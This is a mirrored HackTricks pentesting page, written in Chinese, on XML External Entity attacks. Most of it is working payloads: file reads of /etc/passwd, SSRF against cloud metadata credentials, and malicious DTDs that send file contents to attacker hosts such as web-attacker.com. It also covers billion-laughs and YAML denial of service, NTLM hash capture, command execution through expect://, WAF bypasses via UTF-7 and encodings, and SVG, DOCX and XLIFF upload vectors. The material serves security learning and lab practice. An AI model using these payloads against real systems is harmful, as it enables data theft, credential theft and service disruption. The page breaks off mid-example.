mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
696 lines
31 KiB
Markdown
696 lines
31 KiB
Markdown
# XXE - XEE - XML External Entity
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## XML基础
|
||
|
||
XML是一种用于数据存储和传输的标记语言,具有灵活的结构,允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义的标签。尽管XML在AJAX技术中的初始作用显著,但随着JSON的兴起,其重要性已下降。
|
||
|
||
- **通过实体表示数据**:XML中的实体使得数据的表示成为可能,包括特殊字符如`<`和`>`,它们分别对应于`<`和`>`,以避免与XML的标签系统发生冲突。
|
||
- **定义XML元素**:XML允许定义元素类型,概述元素应如何结构化以及可以包含哪些内容,从任何类型的内容到特定的子元素。
|
||
- **文档类型定义(DTD)**:DTD在XML中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合,指导文档的格式和验证方式。
|
||
- **自定义和外部实体**:XML支持在DTD中创建自定义实体,以实现灵活的数据表示。外部实体通过URL定义,带来了安全隐患,特别是在XML外部实体(XXE)攻击的背景下,这些攻击利用XML解析器处理外部数据源的方式:`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||
- **使用参数实体检测XXE**:为了检测XXE漏洞,特别是在常规方法因解析器安全措施而失败时,可以利用XML参数实体。这些实体允许使用带外检测技术,例如触发DNS查找或向受控域发出HTTP请求,以确认漏洞。
|
||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||
|
||
## 主要攻击
|
||
|
||
[**这些攻击大多是在出色的Portswiggers XEE实验室中测试的: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
|
||
|
||
### 新实体测试
|
||
|
||
在此攻击中,我将测试一个简单的新ENTITY声明是否有效。
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||
<stockCheck>
|
||
<productId>&toreplace;</productId>
|
||
<storeId>1</storeId>
|
||
</stockCheck>
|
||
```
|
||
.png>)
|
||
|
||
### 读取文件
|
||
|
||
让我们尝试以不同的方式读取 `/etc/passwd`。对于 Windows,你可以尝试读取: `C:\windows\system32\drivers\etc\hosts`
|
||
|
||
在这个第一个例子中,请注意 SYSTEM "_**file:///**etc/passwd_" 也会有效。
|
||
```xml
|
||
<!--?xml version="1.0" ?-->
|
||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||
<data>&example;</data>
|
||
```
|
||
.png>)
|
||
|
||
这个第二个案例应该有助于提取文件,如果网络服务器使用 PHP(Portswiggers 实验室的情况除外)
|
||
```xml
|
||
<!--?xml version="1.0" ?-->
|
||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||
<data>&example;</data>
|
||
```
|
||
在第三种情况下,请注意我们将 `Element stockCheck` 声明为 ANY。
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE data [
|
||
<!ELEMENT stockCheck ANY>
|
||
<!ENTITY file SYSTEM "file:///etc/passwd">
|
||
]>
|
||
<stockCheck>
|
||
<productId>&file;</productId>
|
||
<storeId>1</storeId>
|
||
</stockCheck3>
|
||
```
|
||
.png>)
|
||
|
||
### 目录列表
|
||
|
||
在**Java**基础的应用程序中,可能通过XXE使用如下有效载荷**列出目录的内容**(只请求目录而不是文件):
|
||
```xml
|
||
<!-- Root / -->
|
||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
|
||
|
||
<!-- /etc/ -->
|
||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
|
||
```
|
||
### SSRF
|
||
|
||
XXE 可以被用来滥用云中的 SSRF
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
|
||
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
|
||
```
|
||
### Blind SSRF
|
||
|
||
使用**之前提到的技术**,您可以让服务器访问您控制的服务器以显示其脆弱性。但是,如果这不起作用,可能是因为**不允许使用 XML 实体**,在这种情况下,您可以尝试使用**XML 参数实体**:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||
```
|
||
### "盲" SSRF - 通过带外方式提取数据
|
||
|
||
**在这种情况下,我们将使服务器加载一个带有恶意负载的新 DTD,该负载将通过 HTTP 请求发送文件的内容(对于多行文件,您可以尝试通过 \_ftp://**\_ 来提取,例如使用这个基本服务器 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**)。这个解释基于** [**Portswiggers 实验室**](https://portswigger.net/web-security/xxe/blind)**。**
|
||
|
||
在给定的恶意 DTD 中,执行了一系列步骤以提取数据:
|
||
|
||
### 恶意 DTD 示例:
|
||
|
||
结构如下:
|
||
```xml
|
||
<!ENTITY % file SYSTEM "file:///etc/hostname">
|
||
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
|
||
%eval;
|
||
%exfiltrate;
|
||
```
|
||
该 DTD 执行的步骤包括:
|
||
|
||
1. **参数实体的定义:**
|
||
- 创建一个 XML 参数实体 `%file`,读取 `/etc/hostname` 文件的内容。
|
||
- 定义另一个 XML 参数实体 `%eval`。它动态声明一个新的 XML 参数实体 `%exfiltrate`。`%exfiltrate` 实体被设置为向攻击者的服务器发起 HTTP 请求,在 URL 的查询字符串中传递 `%file` 实体的内容。
|
||
2. **实体的执行:**
|
||
- 使用 `%eval` 实体,导致动态声明 `%exfiltrate` 实体的执行。
|
||
- 然后使用 `%exfiltrate` 实体,触发对指定 URL 的 HTTP 请求,包含文件的内容。
|
||
|
||
攻击者在其控制的服务器上托管此恶意 DTD,通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
|
||
|
||
**XXE Payload:** 为了利用一个脆弱的应用程序,攻击者发送一个 XXE payload:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||
```
|
||
这个有效负载定义了一个 XML 参数实体 `%xxe` 并将其纳入 DTD。当被 XML 解析器处理时,这个有效负载从攻击者的服务器获取外部 DTD。然后解析器在线解释 DTD,执行恶意 DTD 中概述的步骤,导致 `/etc/hostname` 文件被外泄到攻击者的服务器。
|
||
|
||
### 基于错误的(外部 DTD)
|
||
|
||
**在这种情况下,我们将使服务器加载一个恶意 DTD,该 DTD 将在错误消息中显示文件的内容(仅在您可以看到错误消息时有效)。** [**示例来自这里。**](https://portswigger.net/web-security/xxe/blind)
|
||
|
||
可以通过恶意外部文档类型定义(DTD)触发一个 XML 解析错误消息,揭示 `/etc/passwd` 文件的内容。这是通过以下步骤完成的:
|
||
|
||
1. 定义一个名为 `file` 的 XML 参数实体,其中包含 `/etc/passwd` 文件的内容。
|
||
2. 定义一个名为 `eval` 的 XML 参数实体,包含对另一个 XML 参数实体 `error` 的动态声明。当评估这个 `error` 实体时,它尝试加载一个不存在的文件,将 `file` 实体的内容作为其名称。
|
||
3. 调用 `eval` 实体,导致 `error` 实体的动态声明。
|
||
4. 调用 `error` 实体导致尝试加载一个不存在的文件,产生一个错误消息,其中包含 `/etc/passwd` 文件的内容作为文件名的一部分。
|
||
|
||
可以使用以下 XML 调用恶意外部 DTD:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
|
||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||
```
|
||
在执行时,web 服务器的响应应包含一个错误消息,显示 `/etc/passwd` 文件的内容。
|
||
|
||
.png>)
|
||
|
||
_**请注意,外部 DTD 允许我们在第二个 `eval` 中包含一个实体,但在内部 DTD 中是禁止的。因此,通常情况下,您无法在不使用外部 DTD 的情况下强制产生错误。**_
|
||
|
||
### **基于错误的 (系统 DTD)**
|
||
|
||
那么,当 **出带交互被阻止**(外部连接不可用)时,盲 XXE 漏洞怎么办?
|
||
|
||
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据,当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体,从而促进基于错误的 XXE 攻击的执行。这种攻击利用了 XML 参数实体的重新定义,该实体最初在外部 DTD 中声明,从内部 DTD 中进行重新定义。当服务器阻止出带连接时,攻击者必须依赖本地 DTD 文件进行攻击,旨在诱发解析错误以揭示敏感信息。
|
||
|
||
考虑一个场景,其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件,定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误,从而揭示 `/etc/passwd` 文件的内容,如下所示:
|
||
```xml
|
||
<!DOCTYPE foo [
|
||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||
<!ENTITY % custom_entity '
|
||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
|
||
%eval;
|
||
%error;
|
||
'>
|
||
%local_dtd;
|
||
]>
|
||
```
|
||
所述步骤由以下 DTD 执行:
|
||
|
||
- XML 参数实体 `local_dtd` 的定义包括位于服务器文件系统上的外部 DTD 文件。
|
||
- 对 `custom_entity` XML 参数实体进行重新定义,该实体最初在外部 DTD 中定义,以封装一个 [基于错误的 XXE 漏洞](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误,从而暴露 `/etc/passwd` 文件的内容。
|
||
- 通过使用 `local_dtd` 实体,外部 DTD 被调用,包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的发出。
|
||
|
||
**现实世界示例:** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处有一个 DTD,其中包含一个名为 `ISOamso` 的实体。
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE foo [
|
||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||
<!ENTITY % ISOamso '
|
||
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
||
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
|
||
%eval;
|
||
%error;
|
||
'>
|
||
%local_dtd;
|
||
]>
|
||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||
```
|
||
.png>)
|
||
|
||
由于此技术使用**内部 DTD,您需要先找到一个有效的 DTD**。您可以通过**安装**服务器正在使用的相同**操作系统/软件**并**搜索一些默认 DTD**,或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在:
|
||
```xml
|
||
<!DOCTYPE foo [
|
||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||
%local_dtd;
|
||
]>
|
||
```
|
||
有关更多信息,请查看 [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
|
||
|
||
### 在系统中查找 DTD
|
||
|
||
在以下精彩的 GitHub 仓库中,您可以找到 **可能存在于系统中的 DTD 路径**:
|
||
|
||
{{#ref}}
|
||
https://github.com/GoSecure/dtd-finder/tree/master/list
|
||
{{#endref}}
|
||
|
||
此外,如果您拥有 **受害者系统的 Docker 镜像**,您可以使用同一仓库的工具来 **扫描** **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
|
||
```bash
|
||
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
|
||
|
||
Scanning TAR file /tmp/dadocker.tar
|
||
|
||
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
|
||
Testing 0 entities : []
|
||
|
||
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
|
||
Testing 0 entities : []
|
||
```
|
||
### XXE via Office Open XML Parsers
|
||
|
||
对于此攻击的更深入解释,**请查看** [**这篇精彩的文章**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **来自 Detectify 的第二部分**。
|
||
|
||
许多网络应用程序提供**上传 Microsoft Office 文档的功能**,然后提取这些文档中的某些细节。例如,网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据,它不可避免地需要解析至少一个 XML 文件。
|
||
|
||
要测试此漏洞,需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录,以便将文档解压缩到其中。
|
||
|
||
一旦文档被解压缩,位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器(如 vim)中打开并编辑。XML 应修改以包含所需的 XXE 有效负载,通常以 HTTP 请求开头。
|
||
|
||
修改后的 XML 行应插入到两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
|
||
|
||
最后,可以将文件压缩以创建恶意的 poc.docx 文件。从之前创建的 "unzipped" 目录中,应运行以下命令:
|
||
|
||
现在,可以将创建的文件上传到潜在易受攻击的网络应用程序,并希望在 Burp Collaborator 日志中出现请求。
|
||
|
||
### Jar: protocol
|
||
|
||
**jar** 协议仅在 **Java 应用程序** 中可用。它旨在允许在 **PKZIP** 存档(例如,`.zip`、`.jar` 等)中访问文件,适用于本地和远程文件。
|
||
```
|
||
jar:file:///var/myarchive.zip!/file.txt
|
||
jar:https://download.host.com/myarchive.zip!/file.txt
|
||
```
|
||
> [!CAUTION]
|
||
> 能够访问 PKZIP 文件中的文件对通过系统 DTD 文件滥用 XXE **非常有用。** 查看 [本节以了解如何滥用系统 DTD 文件](xxe-xee-xml-external-entity.md#error-based-system-dtd)。
|
||
|
||
通过 jar 协议访问 PKZIP 存档中的文件的过程涉及几个步骤:
|
||
|
||
1. 发出 HTTP 请求,从指定位置下载 zip 存档,例如 `https://download.website.com/archive.zip`。
|
||
2. 包含存档的 HTTP 响应暂时存储在系统上,通常在 `/tmp/...` 这样的地方。
|
||
3. 然后提取存档以访问其内容。
|
||
4. 读取存档中的特定文件 `file.zip`。
|
||
5. 操作完成后,删除在此过程中创建的任何临时文件。
|
||
|
||
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点,包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。
|
||
```xml
|
||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
|
||
<foo>&xxe;</foo>
|
||
```
|
||
> [!CAUTION]
|
||
> 在临时目录中写入文件可以帮助**升级另一个涉及路径遍历的漏洞**(例如本地文件包含、模板注入、XSLT RCE、反序列化等)。
|
||
|
||
### XSS
|
||
```xml
|
||
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
|
||
```
|
||
### DoS
|
||
|
||
#### 亿笑攻击
|
||
```xml
|
||
<!DOCTYPE data [
|
||
<!ENTITY a0 "dos" >
|
||
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
|
||
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
|
||
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
|
||
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
|
||
]>
|
||
<data>&a4;</data>
|
||
```
|
||
#### Yaml 攻击
|
||
```xml
|
||
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
|
||
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
|
||
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
|
||
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
|
||
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
|
||
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
|
||
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||
```
|
||
#### 二次爆炸攻击
|
||
|
||
.png>)
|
||
|
||
#### 获取 NTML
|
||
|
||
在 Windows 主机上,可以通过设置 responder.py 处理程序来获取 web 服务器用户的 NTML 哈希:
|
||
```bash
|
||
Responder.py -I eth0 -v
|
||
```
|
||
并通过发送以下请求
|
||
```xml
|
||
<!--?xml version="1.0" ?-->
|
||
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
|
||
<data>&example;</data>
|
||
```
|
||
然后你可以尝试使用 hashcat 破解哈希
|
||
|
||
## 隐藏的 XXE 表现
|
||
|
||
### XInclude
|
||
|
||
在将客户端数据集成到服务器端 XML 文档中时,例如后端 SOAP 请求中的文档,通常对 XML 结构的直接控制是有限的,这使得由于对 `DOCTYPE` 元素的修改限制而阻碍了传统的 XXE 攻击。然而,`XInclude` 攻击提供了解决方案,通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据,这种方法也是有效的。
|
||
|
||
要执行 `XInclude` 攻击,必须声明 `XInclude` 命名空间,并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例:
|
||
```xml
|
||
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
|
||
```
|
||
检查 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 以获取更多信息!
|
||
|
||
### SVG - 文件上传
|
||
|
||
用户上传到某些应用程序的文件,然后在服务器上处理,可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
|
||
|
||
当用户 **上传图像** 时,这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序,**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式,攻击者可以利用它提交恶意 SVG 图像,从而使服务器暴露于 XXE(XML 外部实体)漏洞。
|
||
|
||
下面展示了一个此类攻击的示例,其中恶意 SVG 图像试图读取系统文件:
|
||
```xml
|
||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
|
||
```
|
||
另一种方法涉及尝试通过 PHP "expect" 包装器 **执行命令**:
|
||
```xml
|
||
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
|
||
<image xlink:href="expect://ls"></image>
|
||
</svg>
|
||
```
|
||
在这两种情况下,SVG 格式被用来发起攻击,利用服务器软件的 XML 处理能力,突显了对强大输入验证和安全措施的需求。
|
||
|
||
查看 [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) 获取更多信息!
|
||
|
||
**注意,读取文件的第一行或执行结果将出现在创建的图像内部。因此,您需要能够访问 SVG 创建的图像。**
|
||
|
||
### **PDF - 文件上传**
|
||
|
||
阅读以下帖子以**了解如何利用 XXE 上传 PDF** 文件:
|
||
|
||
{{#ref}}
|
||
file-upload/pdf-upload-xxe-and-cors-bypass.md
|
||
{{#endref}}
|
||
|
||
### Content-Type: 从 x-www-urlencoded 到 XML
|
||
|
||
如果 POST 请求接受 XML 格式的数据,您可以尝试在该请求中利用 XXE。例如,如果正常请求包含以下内容:
|
||
```xml
|
||
POST /action HTTP/1.0
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 7
|
||
|
||
foo=bar
|
||
```
|
||
然后您可能能够提交以下请求,结果相同:
|
||
```xml
|
||
POST /action HTTP/1.0
|
||
Content-Type: text/xml
|
||
Content-Length: 52
|
||
|
||
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
|
||
```
|
||
### Content-Type: 从 JSON 到 XEE
|
||
|
||
要更改请求,您可以使用一个名为“**Content Type Converter**”的 Burp 扩展。 [这里](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) 您可以找到这个例子:
|
||
```xml
|
||
Content-Type: application/json;charset=UTF-8
|
||
|
||
{"root": {"root": {
|
||
"firstName": "Avinash",
|
||
"lastName": "",
|
||
"country": "United States",
|
||
"city": "ddd",
|
||
"postalCode": "ddd"
|
||
}}}
|
||
```
|
||
|
||
```xml
|
||
Content-Type: application/xml;charset=UTF-8
|
||
|
||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
|
||
<root>
|
||
<root>
|
||
<firstName>&xxe;</firstName>
|
||
<lastName/>
|
||
<country>United States</country>
|
||
<city>ddd</city>
|
||
<postalCode>ddd</postalCode>
|
||
</root>
|
||
</root>
|
||
```
|
||
另一个例子可以在 [这里](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2) 找到。
|
||
|
||
## WAF & 保护绕过
|
||
|
||
### Base64
|
||
```xml
|
||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||
```
|
||
这仅在 XML 服务器接受 `data://` 协议时有效。
|
||
|
||
### UTF-7
|
||
|
||
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\](\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7。
|
||
```xml
|
||
<!xml version="1.0" encoding="UTF-7"?-->
|
||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||
```
|
||
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-7"?>
|
||
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
|
||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||
```
|
||
### File:/ 协议绕过
|
||
|
||
如果网站使用 PHP,可以使用 **php wrappers** `php://filter/convert.base64-encode/resource=` 来 **访问内部文件**。
|
||
|
||
如果网站使用 Java,您可以检查 [**jar: 协议**](xxe-xee-xml-external-entity.md#jar-protocol)。
|
||
|
||
### HTML 实体
|
||
|
||
来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||
您可以创建一个 **实体内部的实体**,通过 **html 实体** 编码,然后调用它来 **加载 dtd**。\
|
||
请注意,使用的 **HTML 实体** 需要是 **数字**(如 \[在这个例子中]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||
<data>
|
||
<env>&exfil;</env>
|
||
</data>
|
||
```
|
||
DTD 示例:
|
||
```xml
|
||
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
|
||
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
|
||
%abt;
|
||
%exfil;
|
||
```
|
||
## PHP Wrappers
|
||
|
||
### Base64
|
||
|
||
**提取** _**index.php**_
|
||
```xml
|
||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
||
```
|
||
#### **提取外部资源**
|
||
```xml
|
||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
|
||
```
|
||
### 远程代码执行
|
||
|
||
**如果加载了 PHP "expect" 模块**
|
||
```xml
|
||
<?xml version="1.0" encoding="ISO-8859-1"?>
|
||
<!DOCTYPE foo [ <!ELEMENT foo ANY >
|
||
<!ENTITY xxe SYSTEM "expect://id" >]>
|
||
<creds>
|
||
<user>&xxe;</user>
|
||
<pass>mypass</pass>
|
||
</creds>
|
||
```
|
||
## **SOAP - XEE**
|
||
```xml
|
||
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
||
```
|
||
## XLIFF - XXE
|
||
|
||
这个例子灵感来源于 [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
|
||
|
||
XLIFF (XML 本地化交换文件格式) 用于标准化本地化过程中的数据交换。它是一种基于 XML 的格式,主要用于在本地化过程中在工具之间传输可本地化数据,并作为计算机辅助翻译 (CAT) 工具的通用交换格式。
|
||
|
||
### Blind Request Analysis
|
||
|
||
向服务器发送了以下内容的请求:
|
||
```xml
|
||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||
Content-Type: application/x-xliff+xml
|
||
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE XXE [
|
||
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
|
||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||
```
|
||
然而,此请求触发了内部服务器错误,特别提到标记声明的问题:
|
||
```json
|
||
{
|
||
"status": 500,
|
||
"error": "Internal Server Error",
|
||
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
|
||
}
|
||
```
|
||
尽管出现错误,但在 Burp Collaborator 上记录到了一次命中,表明与外部实体有一定程度的交互。
|
||
|
||
Out of Band Data Exfiltration 为了提取数据,发送了一个修改过的请求:
|
||
```
|
||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||
Content-Type: application/x-xliff+xml
|
||
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE XXE [
|
||
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
|
||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||
```
|
||
这种方法揭示了用户代理表明使用的是 Java 1.8。这个版本的 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件,例如 /etc/passwd。
|
||
|
||
基于错误的数据外泄 为了克服这个限制,采用了基于错误的方法。DTD 文件的结构如下,以触发包含目标文件数据的错误:
|
||
```xml
|
||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||
%foo;
|
||
%xxe;
|
||
```
|
||
服务器返回错误,重要的是反映出不存在的文件,表明服务器正在尝试访问指定的文件:
|
||
```javascript
|
||
